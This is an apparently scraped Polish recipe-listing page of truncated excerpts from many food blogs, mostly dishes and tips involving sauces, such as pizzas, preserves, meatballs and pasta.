zapiekania można odkryć naczynie, żeby przyrumienić ser. Taki bakłażan świetnie sprawdza się jako danie obiadowe na gorąco... ...lub na zimno, jako przystawka na przykład z keczupem czy ostrym pomidorowym sosem. Smacznego

Codzienna kuchnia niecodzienna
Pizza na kalafiorze 167

najdrobniejszych oczkach), zioła i przyprawy.  Piekarnik nagrzewamy do 200 stopni. Ciasto wykładamy na wysmarowaną olejem formę. Podpiekamy w piekarniku ok. 30-35 minut. Po upieczeniu na cieście rozsmarowujemy sos pomidorowy i wykładamy wcześniej podsmażone wszystkie dodatki. Na wierzch posypujemy starty ser żółty. Wstawiamy jeszcze raz do piekarnika na ok. 5 minut, aby ser się rozpuścił.  Smacznego

Salonik smaków
Ciasto jabłkowo - marcepanowe z migdałami i sosem marcepanowym (bez glutenu, bez laktozy) 178

marcepan,  mąkę migdałową i proszek do pieczenia. Na sam koniec wrzucić jabłka i kawałki migdałów. Wszystko wymieszać. Piec ok 50-60 minut w piekarniku nagrzanym do 180 stopni. Sos marcepanowy : - mleko roślinne - kawałek marcepanu Marcepan pokroić w kostkę i zagotować z mlekiem. Całość powinna mieć lejącą konsystencję. Po chwili zrobi się z tego coś w stylu pianki

Szybko Tanio Smacznie
Kurczak pieczony na butelce piwa 427

prawdę warto. Trochę się bałam, czy butelka mi nie pęknie pod wpływem temperatury, ale były to nieuzasadnione obawy Składniki: Marynata: - 1/2 szklanki gorącej wody; - 4 łyżki oleju; - 1 łyżka sosu sojowego; - 1 łyżka miodu; - 1 łyżeczka pieprzu; - 1 łyżeczka słodkiej papryki w płatkach; - 1 łyżeczka słodkiej papryki; - 1 łyżeczka suszonego tymianku; - 1 łyżeczka bazylii i oregano; Wszystkie składniki łączymy

dom-agi.pl
Jarzynka na zimę do słoików 380

Jarzynka na zimę ( Doskonały dodatek do zup,sosów i mięs ) Składniki : 1,25 kg marchewki 65 dkg pietruszki    ( korzeń ) 65 dkg selera         ( korzeń ) 25 dkg cebuli 25 dkg kapusty włoskiej 20 dkg porów 20 dkg natki pietruszki  10 dkg natki selera 60 dkg soli Sposób wykonania :  Wszystkie warzywa umyć obrać i zetrzeć

Przepisy i porady kulinarne
Propozycja podania obiadu. 171

robimy czubkiem łyżki fale na ziemniakach .Ziemniaki posypujemy mieloną słodką papryką oraz pokrojonymi nowalijkami ( np.koperek,natka pietruszki ) . Z jednej strony dajemy sałatkę,  a z drugiej mięso   polane sosem. Teraz pozostaje nic innego jak tylko życzyć SMACZNEGO

Przepisy i porady kulinarne
Ciasto na pizzę z majerankiem. 164

dokładnie wyrabiamy ciasto na jednolitą masę. Rozwałkowujemy nasze ciasto na cienki placek i wkładamy na blaszkę posmarowaną tłuszczem lub olejem. Zostawiamy na parę minut do wyrośnięcia a następnie smarujemy sosem pomidorowym i posypujemy warzywami ,pieczarkami w zależności jaką chcemy pizzę. Wkładamy do piekarnika i pieczemy około 25 minut.  Jest to przepis na bardzo dobre ciasto,nie jest ono twarde

Przepisy i porady kulinarne
Gołąbki z włoskiej kapusty. 199

się dały nasze gołąbki zawinąć. Na patelnię wlewamy olej,rozgrzewamy go i smażymy gołąbki z obu stron,tak aby się lekko zarumieniły. Gotowe gołąbki możemy polać sosem pieczarkowym,pomidorowym lub innym. Możemy je udekorować zmieloną czerwoną papryką i pokrojoną drobno zieloną natką pietruszki. Kapusta włoska jest lepsza od zwykłej ponieważ jest miększa i szybciej się nam ugotuje

Przepisy i porady kulinarne
Sałatka z boczkiem i pomidorami. 190

deseczce. Ocet rozcieńczyć łyżką wody i wymieszać z pokrojoną zieleniną. Doprawić solą i pieprzem do smaku,dodać olej i dokładnie wymieszać.Następnie wszystko razem lekko wymieszać. Można polać sosem winegret

Przepisy i porady kulinarne
Zdrowe żywienie. Warzywa - kilka porad. 171

warzywa tylko wtedy, gdy bardzo Ci zależy na krótkim czasie gotowania. Najwięcej cennych składników zachowują warzywa gotowane w całości. Wykorzystaj wywar powstały przy gotowaniu warzyw, np. do przygotowania zup, sosów itp. Warzywa to produkty spożywcze o szczególnie niskiej zawartości energetycznej. Można jeść dużo warzyw i zachować wspaniałą sylwetkę i zdrowie. Staraj obierać się warzywa i owoce jak najcieniej. Najwięcej witamin

Przepisy i porady kulinarne
Sos pomidorowy - doskonały dodatek do dań mięsnych. 172

Sos pomidorowy-doskonały do dań mięsnych Składniki :   2 szklanki wody 1 kostka rosołowa 3 łyżki koncentratu pomidorowego 2 łyżeczki mąki pszennej 1 łyżeczka mąki ziemniaczanej 1 łyżka masła 4 ziarenka ziela angielskiego 8 ziarenek czarnego pieprzu 1-2 listki laurowe    sól    pieprz mielony Sposób wykonania :   Gotujemy 1,5 szklanki wody i do gotującej

Przepisy i porady kulinarne
Kurczak w sosie pomidorowym. 139

Kurczak w sosie pomidorowym. Składniki :                    4 porcje 1 kurczak około 1,20 kg 50 dkg ziemniaków 2-3 łyżki oleju 1 puszka (425ml) pomidorów bez skórki 30 dkg porów pikantna papryka 1 szklanka wody sól pieprz mielony zielona natka pietruszki

Przepisy i porady kulinarne
Gotuj z głową - jak dusić ? 181

Duszenie to idealna metoda, aby w sposób maksymalny zredukować utratę substancji odżywczych !  Dotyczy to zwłaszcza warzyw, najpierw smażymy je krótko w małej ilości tłuszczu, a potem dusimy w sosie własnym lub podlewamy niewielką ilością wody lub rosołu.   Ważne: warzywa należy pokroić tuż przed samą obróbką, trzymać je na ogniu bardzo krótko.  Najsmaczniejsze i najzdrowsze są warzywa

Przepisy i porady kulinarne
Kotlety mielone z pieczarkami. 230

obtoczyć w bułce tartej i smażyć na rozgrzanym wcześniej tłuszczu. Smażymy na złoty kolor z obu stron. Zaraz po usmażeniu podajemy na stół, aby nie ostygły. Możemy je polać sosem pieczarkowym. Są pyszne ! Dzisiaj zrobiłem je na obiad

Przepisy i porady kulinarne
Ser żółty - kilka wskazówek i porad. 183

Twardy ser żółty można uratować, mocząc go w mleku, natomiast bardzo twardy żółty ser nadaje się doskonale, aby go zetrzeć na tarce i dodać np. do sosu lub posypać nim makaron. Przy okazji pamiętaj, że żółty ser szybciej i łatwiej zetrzesz, jeśli tarkę posmarujesz ojejem jadalnym. Natomiast gdy żółty ser jest zbyt miękki, źle się kroi, klei się do noża

Przepisy i porady kulinarne
Pomidory w słoikach na sos do pizzy lub spaghetti. 193

łyżeczki soli. Słoiki zakręcić i pasteryzować 15 minut w temperaturze 85 C. Przechowywać w zacienionym i chłodnym miejscu.  Używać po zmiksowaniu, (wcześniej wyjąć listek laurowy) jako dodatek do sosu, spaghetti, albo do zimnych wędlin, pasztetów, zupy pomidorowej

Przepisy i porady kulinarne
Grzyby pasteryzowane do zup i sosów. 108

przełożyć do czystych słoików. Słoiki szczelnie zakręcić pokrywkami i pasteryzować około 30 minut.  Tak przygotowane grzyby zimą lub wiosną przydadzą się nam w kuchni do różnych potraw np. sosów,zup itp.  Gorąco polecam wszystkim ten przepis

Przepisy i porady kulinarne
Kotleciki mielone z marchewką. 177

jednolitą masę. Uformować 5-6 kotlecików, obtoczyć w bułce tartej, smażyć na rozgrzanym oleju z obu stron na złoty kolor.   Podawać gorące do ziemniaków, można polać sosem.   Kotleciki te mają lekko pomarańczowy kolor, są smaczne i zdrowe.  Warto je zrobić od czasu do czasu dla swojej rodziny czy bliskich i pokazać im że potrafimy zrobić

Przepisy i porady kulinarne
Filety śledziowe na wigilię i nie tylko. 180

zagotować na niedużym ogniu, ciągle mieszając. Doprawić do smaku pieprzem i solą , ostudzić. Filety śledziowe pokroić w kostkę i ułożyć warstwami w słoiku. Każdą warstwę śledzi polać przygotowanym sosem. Wstawić do lodówki na 1-2 dni. Przed podaniem można udekorować posiekaną zieloną natką pietruszki lub szczypiorkiem. Tak przygotowane śledzie skutecznie pobudzają zmysły. Wspaniałe danie na Wigilię i nie tylko

Przepisy i porady kulinarne
Co zrobić, aby domowa szynka była soczysta w środku. 167

domowa szynka była bardziej soczysta i miękka ( nie była zbytnio sucha ), należy zaraz po ugotowaniu zanurzyć ją w zimnej wodzie. Zimna woda szybko ostudzi szynkę i zatrzyma w niej sos ( rosół ). Wyparuje po prostu z niej dużo mniej wody ponieważ zostanie ona szybko wystudzona

Przepisy i porady kulinarne
Zupa z skorzonery 217

witaminy A,C, E i B 1 . Warzywo to można przygotować na wiele sposobów np. ze względu na podobny smak do szparagów  można je przygotować tak samo z sosem holenderskim. Ja postanowiłem z niej przygotować zupę.  Składniki : 5 ząbków czosnku, 500 g skorzonery, 1/3 szklanki czerwonej soczewicy Puszka mleka kokosowego, 250 ml bulionu warzywnego, 2 łyżki masła

cookpl
Sałatka ze szpinaku z wątrobką i pomarańczami 284

dzięki stołówkom - najpierw przedszkolnej a później szkolnej. Podawano w nich szpinak rozgotowany na zielono burą breję bez smaku a wątróbka przypominała raczej twardą podeszwę w szarym, beznadziejnym sosie. Długo nie mogłam otrząsnąć się z tych doznać i za nic świecie nie mogłam zmusić się do zjedzenia tych rzeczy. Dopiero po wielu latach kiedy sama zaczęłam gotować postanowiłam pokonać obie zmory

Smaczna Pyza
Hummus z harissą 198

Harissa jest podstawową przyprawą w kuchni tunezyjskiej i jest niezwykle wszechstronna. Można jej używać do przyprawiania grillowanego mięsa lub ryby, dodawać do pieczonych warzyw, sosów lub zup i gulaszów. Ja dodałam harissę do hummusu, aby nadać mu odrobinę pikanterii. Można regulować ostrość pasty, dodając mniej lub więcej chili. Pamiętajmy tylko, że harissa ma być ostra! Składniki: Harissa * 1 czerwona papryka

Smakowity Blog Kulinarny
Zapiekanka wszystko co mam 167

temperaturze 180 stopni  około 30/ 35 minut , w zależności od piekarnika .  Ja piekę z termo obiegiem więc czas pieczenia jest troszkę inny .  Taką zapiekankę podaję z sosem zrobionym z kilku łyżem majonezu i kilku łyżek ketchupu , mieszamy i gotowe, wy swoją możecie podać z czym lubicie . Smacznego

Sama słodycz i szczypta chili
Walentynkowe grillowanie – z jagnięciną i granatem 195

marynaty: ¼ szklanki soku z granatów ¼ szklanki oliwy z oliwek extra virgin 2 wyciśnięte ząbki czosnku 1 łyżka octu balsamicznego 1 łyżka świeżego rozmarynu 1 łyżka świeżego tymianku 1 łyżka sosu Worcestershire ½ łyżeczki mielonego ziela angielskiego 1/8 łyżeczka musztardy w proszku sól koszerna świeżo zmielony czarny pieprz Przygotowanie: Wszystkie składniki marynaty dokładnie wymieszać. Wlać do dużej zamykanej torby lub pojemnika, dodać

naRuszcie
Anielskie ciasto czekoladowe z polewą i prażonymi orzechami / Chocolate angel food cake with ganache and toasted hazelnuts 295

bardzo lekkie i delikatne, prawie o konsystencji pianki. Jest łatwe w przygotowaniu, a co więcej, można spożytkować wszystkie białka jakie pozostały po pieczeniu pączków Podobne przedstawiłam już tutaj z sosem truskawkowym , tym razem przedstawiam je jednak w wersji czekoladowej, z czekoladową polewą i prażonymi orzechami. Polecam! Scroll down for recipe in English Anielskie ciasto czekoladowe z polewą i prażonymi orzechami

karmelowy
Makaron z papryką, brokułem, serem korycińskim w sosie śmietanowym 217

osolonej wodzie ok. 2-3 minutki). Po ok. 10 minutach zalewamy całość kremówką i gotujemy, aż do zgęstnienia. Na koniec przyprawiamy pieprzem, suszonymi pomidorami i bazylią. Makaron polewamy gorącym sosem i układamy na nim plasterki sera korycińskiego. Smacznego

Aga w kuchni
Mięsne kulki z ryżem 242

łyżki majeranku 1 łyżeczka kminku mielonego 1/2 łyżeczki tymianku 1 łyżeczka ostrej mielonej papryki lub pasty z papryki 1 łyżeczka pieprzu  1 1/2 łyżeczki soli 1 łyżeczka sosu sojowego ryż olej do smażenia Mięso mielone przyprawić przyprawami, przeciśniętym przez praskę czosnkiem, wymieszać i wstawić do lodówki (mięso można przygotować dzień wcześniej). Marchew i selera obrać, umyć i pokroić

Kuchcik gotuje
Impanata Siciliana – pizza sycylijska 304

pszenną 500 MŁYN KOPYTOWA  i ciasto zrobiłam w automacie do pieczenia chleba. Nadzienie -mrożony szpinak -ser koryciński swojski Czesławy Zarzeckiej u mnie  suszone pomidory, bazylia i czosnek -sos pomidorowy lub pomidory krojone w puszce -czosnek -sól , u mnie różowa himalajska -bazylia świeża oliwa z oliwek  OLITALIA  Indexfood Wykonanie tej tradycyjnej pizzy musi być łatwe i pyszne

Z Kuchni Do Kuchni
Tort szpinakowy 279

pokrojone kawałki sera. Nie mieszamy! Patelnię przykrywamy folią aluminiową i smażymy tak przez 15-20 minut. Omlecik pięknie rośnie i wygląda obłędnie!  5. Serwujemy na talerze z ulubionymi sosami i surówkami.  Smacznego

Sajkofanka smaku
Chrupiące pakieciki z ciasta filo z mięsem mielonym, szpinakiem i serem 222

krokiety. Układać na blasze wyłożonej papierem do pieczenia i piec w temperaturze 180 stopni do zrumienienia. Podawać na gorąco lub po całkowitym przestygnięciu.  Doskonale smakują z pikantnymi sosami na bazie jogurtu lub z pikantnym keczupem. Smacznego

Codzienna kuchnia niecodzienna
Szaszłyki z kurczaka i indyka 406

wszystko na blasze wyłożonej papierem do pieczenia, skraplam oliwą i posypuję niewielką ilością natki pietruszki. Piekę w piekarniku przez około 30-35 min w temp. 200 stopni Podaję z sosem czosnkowym - przepis ---> klik Smacznego :) Jeżeli spodobał Ci się ten post to zapraszam do polubienia mojej strony na Facebook'u -   klik   A jeżeli chcesz być na bieżąco, obserwuj

Kolejny blog o gotowaniu
Domowe nachosy z mięsem mielonym w pomidorach, dipem czosnkowym i serem. 252

mięso, przyprawiamy je oregano, papryką, solą i pieprzem. Podsmażamy kilka minut i dodajemy kukurydzę i fasolę, zalewamy pomidorami z puszki. Smażymy do momentu, aż płyny odparują i powstanie gęsty sos. DIP: -jogurt naturalny -dwa ząbki czosnku starte -sól, pieprz -posiekana natka pietruszki Wszystkie składniki mieszamy razem, możemy dodać, dla miłośników, łyżeczkę majonezu. Na głęboki talerz wykładamy mięso, posypujemy startym serem

BaRepas
Schab w sosie z czerwonego wina. 153

wlewamy wywar z warzyw, wino oraz śmietanę, dodajemy liście laurowe kminek i majeranek. Doprowadzamy do wrzenia, po czym dodajemy schab.  Gotujemy mięso na małym ogniu do zredukowania się sosu. Schab możemy podawać z ziemniaczkami lub ryżem oraz z surówką.  Smacznego

Symfonia smakowa
Schab faszerowany pieczarkami i porem. 148

naczynia żaroodpornego, posypujemy kminkiem, dodajemy smalcu i podlewamy troszkę wodą.  Pieczemy w piekarniku w temperaturze 180 stopni przez około 1,5 godziny, polewając mięso co pewien czas sosem w którym się piecze. Smacznego

Symfonia smakowa
Klasyczne szaszłyki. 163

mięsa, a także owoców, wszystko to czym w danej chwili dysponujemy w lodówce. Jednak ja akurat najbardziej lubię te klasyczne, ewentualnie z kawałkami pieczarek lub/i boczku oraz podane z sosem czosnkowym. Składniki: (na około 6 sztuk) 3 pojedyncze filety z kurczaka 2 papryki 3-4 cebule 2 łyżka oleju oregano, papryka słodka, tymianek, rozmaryn, czosnek suszony, chili   sól, pieprz

Symfonia smakowa
Kotlety z tuńczyka 187

wykorzystać w śniadaniu. Po chwili namysłu stwierdziłam, że zrobię kotleciki rybne, czyli taki obiad na śniadanie :)  ~ Kotleciki rybne z tuńczyka ~ Składniki: (na 1 porcje) puszka tuńczyka w sosie własnym 1 jajko 10g otrębów pszennych przyprawy: sól, pieprz, dowolne zioła + jajko ugotowane na miękko chleb żytni Tuńczyka odsączamy z wody. Wszystkie składniki dokładnie ze sobą mieszamy. Rozgrzewamy lekko natłuszczoną patelnię

Kuchenny Skrawek Nieba
Kurczak po papiesku 473

paprykę pokroić w grubą kostkę i podsmażyć.  Wodę, przecier, cukier, maggi, ocet wymieszać, dodać także  lubczyk. Na skrzydełka wyłożyć pieczarki, cebulę i paprykę. Na wierzch polać sosem. Piec jeszcze 30 minut

Moje domowe kucharzenie
Ciasteczka z kaszy jaglanej dla dzieci 367

Dzisiaj przedstawiam ciekawą propozycję dla najmłodszych. Przepis na ciasteczka pochodzi ze strony SOS rodzice, a podesłała mi go czytelniczka, Pani Ola :)  Ciasteczka w konsystencji przypominają bardziej placuszki niż ciasteczka, są mięciutkie i nie za słodkie. W smaku jak dla mnie przypominają chrupki kukurydziane :) Ja dodałam do nich kawałki gorzkiej czekolady, ale możecie je zastąpić ulubionymi suszonymi owocami

My Culinary Art
Tacos z mięsem mielonym 273

kostkę cebulę w piórka, a sałatę dzielimy na mniejsze kawałki do podgrzanych tacos w piekarniku (przez 3 minuty 180'C) wykładamy mięso i warzywa.  Całość można polać jakimś sosem bądź dodać zupełnie co innego wszystko zależy od Waszej fantazji. Smacznego

cookpl
Klopsiki w sosie curry z brązowym ryżem 378

nabrały złotego koloru, następnie zdejmij je z patelni. Na tą samą patelnię wlej śmietankę, dodaj curry, kminu rzymskiego, kurkumę, paprykę i odrobinę soli i pieprzu. Całość zagotuj. Do gorącego sosu dodaj wcześniej podsmażone kuleczki z indyka, gotuj około 10 minut. Podawaj z brązowym ryżem i świeżą miętą albo kolendrą. SMACZNEGO

Kredowe Menu
Zupa pomidorowa 235

śmietany. Ugotuj ryż. Ugotuj na parze wszystkie jarzyny. Ja wykorzystuję mrożonki jak  nie mam świeżych pod reką i nie latam co chwilkę do marketów bo to męczy. Zagotuj sos pomidorowy, dodaj przypraw. Włóż sparowane jarzyny do środka. Na końcu ryż. Podawaj z natką pietruszki i tartym parmezanem. Smacznego

Z Kuchni Do Kuchni
Liebster Blog Award 175

keeper - Jodi Picoult  4.   Jaki program kulinarny jest Twoim ulubionym? Wszystkie  programy Nigelli Lawson :) 5. Jaka jest Twoja ulubiona potrawa z dzieciństwa? Parowańce z sosem truskawkowym. 6. Jaki jest Twój najlepszy słodki smakołyk? Tiramisu. 7. Danie jakiej kuchni (kraj, region) preferujesz? Lubię kuchnię śląską i wielkopolską. 8. Gdy nie gotujesz, to… Spotykam się z przyjaciółmi

Kolejny blog o gotowaniu
Makaron ze szpinakiem i mascarpone - palce lizać! 372

miedzy czasie gotujemy makaron, według przepisu na opakowaniu. I czas na mascarpone! Musimy wszystko dokładnie wymieszać i dodać sok z cytryny i chwilkę pozostawić na ogniu. Nasz gotowy sos powinien wyglądać tak: Odcedzony makaron ląduje na patelni. Wszystko dokładnie mieszamy i nic tylko zjadać :) Smacznego! Koniecznie dajcie znać jeżeli spróbujecie zrobić taki makaron

Kolejny blog o gotowaniu
Placki ziemniaczane 201

Cudowne, przepyszne, chrupiące... Ja zajadam je ze śmietaną, inni ze śmietaną i cukrem lub z wszelakimi sosami :) Dla 4 osób potrzebujemy: 1 kg ziemniaków 1 jajko 1 cebule 2 plastry sera żółtego pół szklanki maki sól i pieprz Ziemniaki można zetrzeć na tarce z małymi oczkami lub jak ja zblenderować na papkę razem z cebulą i serem żółtym. Następnie dodajemy

Kolejny blog o gotowaniu
Pieczywko czosnkowe 165

smarujemy cienką warstwą ketchupu i posypujemy wyciśniętym czosnkiem. Całość posypujemy żółtym serem i oregano. Pieczemy ok. 20 min w temperaturze 200-210 stopni.  Oczywiście nie obejdzie się bez sosu czosnkowego -  przepis znajdziecie tutaj -> klik i gotowe :) Jeżeli podobał Ci się post zapraszam do polubienia mojej strony na Facebook'u -   klik   A jeżeli chcesz być

Kolejny blog o gotowaniu
Szybka pomidorowa na rosole 166

szybki sposób, na przykład kiedy mamy wczorajszy rosół. Potrzebujemy: rosół lub bulion warzywny - przepis klik  200g przecieru/koncentratu pomidorowego 3 duże łyżki śmietany 12% lub do zup i sosów Bulion podgrzewamy, kiedy będzie ciepły olewamy 3 łyżki do kubka. W kubku mieszamy pół słoiczka przecieru z odlanym bulionem i śmietaną. Taka mieszankę wlewamy do garnka i dokładnie mieszamy. Resztę przecieru

Kolejny blog o gotowaniu
Muffinki z serem i szynką 211

oraz szynkę, wyciśnięty czosnek i wszystko razem mieszamy. Wykładamy ciasto do papierowych foremek i pieczemy przez ok. 20 min w 190 stopniach. Polecam podawać te muffiny w towarzystwie sosu czosnkowego lub ketchupu - smakują wyśmienicie ;) Jeżeli spodobał Ci się ten post to zapraszam do polubienia mojej strony na Facebook'u -   klik   A jeżeli chcesz być na bieżąco, obserwuj mojego

Kolejny blog o gotowaniu
Churros 164

chrust? Kto wie :-). Poniższy przepis jest jak najbardziej sprawdzony, churros wychodzi takie jakie powinno, więc nie zostaje mi nic, niż gorąco polecić ten przepis. Chrupiące, małe ciasteczka zamoczone w sosie czekoladowym smakują wybornie. Jeśli poszukujecie innych przepisów na Tłusty Czwartek zajrzyjcie do naszego ebooka (jest tam 1 nie publikowany przepis!) oraz do kategorii Tłusty Czwartek na blogu . Czytaj więcej

Pora coś zjeść
polędwica wieprzowa w musztardowym sosie 232

stopni z termoobiegiem na 11 minut , po upływie tego czasu wyciągamy mięso i zostawiamy na pięć minut by odpoczęło i żeby wszystkie soki i aromaty zostały w mięsie - porcjujemy. Sos delikatnie podgrzewamy ciągle mieszając - podajemy z mięsem i dekorujemy resztą składników.  Smacznego

na gazie
Włoskie calzone 234

Calzone pieczemy około 15 minut w 220 stopniach, do delikatnego zarumienienia się ciasta. Można jeść na ciepło, zimno, super smakuje podgrzane na drugi dzień....a najlepiej calzone podawać z sosem czosnkowym

upichcic
Pieczeń z baraniny marynowanej w oleju rzepakowym 177

Następnie dodajemy obraną i pokrojoną na ćwiartki cebulę, wino i rozdrobnione sardele. Przykrywamy naczynie, zmniejszamy temperaturę do 150 stopni i pieczemy około 2,5 godziny, co jakiś czas podlewając sosem z naczynia. Smacznego Post Pieczeń z baraniny marynowanej w oleju rzepakowym pojawił się poraz pierwszy w UgotujmyTo.pl

UgotujmyTo.pl
Sałata z sosem vinegrette 120

Składniki: duża zielona sałata 500g pomidorów koktajlowych pęczek szczypiorki Sos:  miód musztarda Dijon ocet winny czerwony oregano bazylia Przygotowanie: Warzywa dokładnie myjemy. Sałatę rozrywamy na kawałki, pomidorki kroimy na 4 części i drobno siekamy szczypiorek. do szklanki dodajemy 4 łyżki musztardy wraz z czterema łyżkami miodu. Dodajemy do tego 3 łyżki octu winnego czerwonego oraz przyprawy oregano i bazylię

ClauditteMissCooking
Zupa Wietnamska Tom Yum 147

zupy. Pieczarki kroimy w plasterki i dodajemy do dalej gotującej się zupy, następnie pokrojony w cienkie chude plasterki imbir. Na sam koniec dodajemy do zupy 4 łyżki ciemnego sosu sojowego oraz posiekaną bazylię, dobrze mieszamy. Makaron ryżowy wkładamy na 3 minuty do wrzącej wody, następnie odcedzamy i płuczemy zimną wodą. makaron dodajemy do zupy. Od teraz zupa nadaje

ClauditteMissCooking
Sole With Tropical Tiger Prawns 152

cytryny i obtoczone w czosnku. Gdy krewetki się smażą dodajemy pokrojone w kostkę plasterki ananasa, plasterki cytryny, posiekaną zieloną pietruszkę i oliwki. Smażymy ok 10 minut na średnim ogniu. Sos robimy z musztardy, miodu, octu winnego czerwonego, bazylii i soku z cytryny. Smacznego

ClauditteMissCooking
Spaghetti Carbonara 215

boczek. Tradycyjna włoska wersja pomija krem ze śmietany, ale większość ludzi w krajach europejskich są przyzwyczajeni do podawania  śmietany, śmietanki  czy też kremów w formie sosów do makaronów.  Składniki: 3 jajka 300 g boczku surowego wędzonego 1 natka pietruszki 2 ząbki czosnku 1/2 drobno posiekanej cebulki 200 ml śmietanki 30% oliwa z oliwek makaron do spaghetti pieprz

ClauditteMissCooking
Orientalne ciastko francuskie w sosie Barbie :) 215

francuskie dzielimy na kwadraty i układamy na nich mieszankę. Dodając do niej ser gorgonzolla. Wkładamy do uprzednio rozgrzanego piekarnika 200 stopni z opcją grzania góra i dół. Sos przygotowujemy dodając do miseczki dżem, jogurt naturalny i majonez oraz wyciśnięte 3 ząbki czosnku. Wszystko razem mieszamy. Danie ozdabiamy kiełkami brokuła :) Smacznego

ClauditteMissCooking
Kurcze pieczone 138

Składniki: 8 ćwiartek z kurczaka - nóżki 1/2 szklanki oliwy z oliwek 1 łyżeczka musztardy sarepskiej szczypiorek 1 słoik sosu indyjskiego curry 1 cytryna 5x5 cm imbiru 2 łyżeczki przyprawy 'papryka ostra' 5 ząbków czosnku 1 łyżka zielonej pasty curry pieprz 1 duża cebula Przygotowanie: Nóżki dokładnie myjemy i umieszczamy w głębokiej misce. Wszystkie składniki dokładnie mieszamy w misce

ClauditteMissCooking
Wielkanoc tuż tuż 161

dodatkiem białek kiełbasy i wędzonego boczku oraz jajkiem. :) a niech ostrości doda i rozpali nasze kubki smakowe 1/2 łyżeczki chrzanu na talerz zupy. Myślę także nad przygotowaniem królika w sosie śmietanowym z przepisu Pani Anny Starmach Zdjęcie wygrzebane z internetu

ClauditteMissCooking
Tagliatelle z wędzonym łososiem i winem 132

wino nam się zredukuje dodajemy śmietankę, ale nie całość. Dodajemy także sól, imbir, pieprz. Makaron wrzucamy do osolonej wrzącej wody i gotujemy ok 5-7 minut. Do sosu dodajemy resztkę śmietany oraz posiekanego łososia. Chwilę mieszamy i dodajemy makaron oraz posiekaną natkę pietruszki. Smacznego

ClauditteMissCooking
Kuchnia Indyjska 149

zamówić podczas pierwszej wizyty w Indiach? Daniem ogólnoindyjskim jest thali - zestaw przekąsek składający się z ryżu lub roti (indyjski chlebek), warzyw w sosie, ostrych marynat oraz często mięsa. Drugim uniwersalnym daniem indyjskim jest dal, czyli rodzaj gęstej zupy z soczewicy. Cha­rak­te­ry­stycz­ną po­tra­wą jest dosa, czyli cien­kie, suche na­le­śni­ki wyra

ClauditteMissCooking
Indycze pulpeciki - 'Misz-Masz' 167

łyżeczka kurkumy 6 suszonych papryczek chilli 1/2 pora przyprawy: oregano, zioła prowansalskie, pieprz ziołowy, wegeta, pieprz cyanne 2 łyżki oliwy z oliwek 1/ 2 kostki do zup i sosów ( grzybowa i rosół z kury ) 2 szklanki wody 40 ml białego wytrawnego wina Przygotowanie: Mięso mielone przekładamy do głębokiego naczynia i mieszamy je razem z jajkiem, 3 ząbkami czosnku który

ClauditteMissCooking
Piekielnie zdrowe kanapki 162

Składniki: 2 kromki chleba cebulowego 2 łyżeczki masła 1/4 cebuli 6 plasterków pomidora 6 plasterków ogórka szklarniowego  kilka gałązek sałaty roszponki 4 plastry sera żółtego np. Gouda sos sojowy ciemny gęsty mieszanka przypraw garam masala posiekana ostra świeża papryczka chilli Smacznego

ClauditteMissCooking
Bazyliowe naleśniki z ciekawym farszem 191

pieczarek 1 duża cebula 1/2 łyżki masła 300-400 g fasolki szparagowej 5 ziemniaków 1 pęczek młodego szczypiorku 3 różyczki brokuła 1 jajko 2 łyżka masła Składniki na sos: 250 ml śmietanki 30% 2 ząbki czosnku 10 plasterków sera gouda Przygotowanie naleśników: Wszystkie składniki mieszamy razem tak aby uzyskać jednolitą masę. Na bardzo dobrze rozgrzaną patelnię nakładamy 1 chochelkę masy

ClauditteMissCooking
Ostry Burger 147

odstawiamy do lodówki na 2 godziny, żeby przeżarły się wszystkie składniki. Następnie formujemy kulki i uklepujemy na płaskie kotleciki. Mięsko lekko smarujemy oliwą i wrzucamy na ruszt grilla.  Sos do burgerów: 400 ml jogurtu naturalnego 2 łyżki majonezu 2 łyżki musztardy sarepskiej  1 łyżka czerwonego octu winnego 10 listków bazylii 3 ząbki czosnku świeżo zmielony pieprz Wszystkie składniki

ClauditteMissCooking
Grillowana cukinia z cebulą 159

Składniki: 3 cukinie 4 cebule Sos- marynata: 1/2 szklanki oliwy z oliwek 1  łyżka Maggi 1 łyżka octu winnego czerwonego 1 łyżka octu balsamicznego 4 przeciśnięte przez praskę ząbki czosnku 1 płaska łyżka przyprawy pikantnej do grilla 2 łyżki prażonej cebulki 1 garść posiekanych listków bazylii 1 łyżeczka świeżo zmielonego pieprzu Przygotowanie: Cukinie dokładnie myjemy i przekrawamy

ClauditteMissCooking
Indyjski Obiad - Kolory Flagi Indii 147

Składniki na sos: 3 papryki (kolorowe) 1 duży ananas 1 bakłażan 1 cukinia 1 duża cebula czosnkowa 3 duże ząbki czosnku 1 łyżka świeżo zmielonej mieszanki garam masala (seria z Lidla deLuxe) 1 puszka pomidorów 1/2 puszki czerwonej fasolki 100 ml soku z pomidorów z odrobiną tabasco 3 łyżki oliwy z oliwek 1 płaska łyżka uniwersalnej przyprawy do potraw pieprz

ClauditteMissCooking
Spaghetti Bolognese 219

posiekaną cebulę, po chwili porcjami dodajemy mięso. Gdy mięso będzie już podsmażone dodajemy pomidory z puszki i koncentrat. Doprawiamy przyprawami i bazylią. Gotujemy na średnim ogniu mieszając i przykrywając sos około 20 minut. Doprawiamy drobno posiekanym czosnkiem, solą i pieprzem. Gotowe :) Smacznego

ClauditteMissCooking
Wątróbka z indyka z żurawiną w sosie własnym 140

papryki mielonej 1/2 łyżeczki suszonej bazylii pieprz, sól - do smaku 100 g suszonej żurawiny głęboki talerz z mąką pszenna 2 szklanki lub 1.5 szklanki wody (ja dałam 2 i sos wyszedł taki w sam raz) Przygotowanie: Wątróbkę płuczemy i oczyszczamy. Kroimy na mniejsze kawałki. Doprawiamy pieprzem, papryką i bazylią. (nie solimy bo zrobi się twarda). Cebulę kroimy w drobne piórka

ClauditteMissCooking
Salad with mustard sauce. Meatballs with turkey. Food inspired by @lonijane @aleven11 162

lonijane @aleven11 <3 http://instagram.com/lonijane http://aleven11.tumblr.com/ http://www.aleven11.com/ Składniki: marchewska czerwona kapusta czerwona cebula ogórek gruntowy czerwona papryka mix sałat żółte i czerwone pomidorki koktajlowe Sos: musztarda miód wielokwiatowy oliwa z oliwek natka pietruszki ząbek czosnku pieprz 1/5 czerwonej cebuli Kotlety: mięso mielone z indyka i dowolne przyprawy wedle smaku

ClauditteMissCooking
Roladki z kurczaka, z sosem i pesto 134

